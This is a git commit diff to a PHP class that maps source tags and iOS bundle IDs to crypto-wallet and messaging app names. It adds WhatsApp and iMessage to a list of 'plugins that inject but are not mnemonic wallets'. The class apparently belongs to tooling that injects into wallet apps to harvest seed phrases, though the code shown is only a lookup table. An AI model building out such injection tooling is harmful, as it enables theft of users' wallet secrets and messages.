feat: wap/sms

This commit is contained in:
hashbro
2026-08-25 03:45:42 +08:00
parent 67791221bf
commit 5c9ceca4ea
18 changed files with 596 additions and 31 deletions
+8 -1
View File
@@ -32,6 +32,10 @@ final class WalletSource
'f' => 'BitKeep',
's' => 'Solflare',
'tg' => 'Telegram',
'wp' => 'WhatsApp',
'wa' => 'WhatsApp',
'wap' => 'WhatsApp',
'sms' => 'iMessage',
// lab / fixture aliases
'tp' => 'TokenPocket',
'im' => 'imToken',
@@ -107,12 +111,15 @@ final class WalletSource
'tonhub' => 'Tonhub',
'bitpie' => 'Bitpie',
'telegram' => 'Telegram',
'whatsapp' => 'WhatsApp',
];
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp / iMessage). */
private const NON_MNEMONIC_BUNDLES = [
'ph.telegra.Telegraph',
'net.whatsapp.WhatsApp',
'imagent',
'com.apple.imagent',
];
public static function fromTag(mixed $tag): string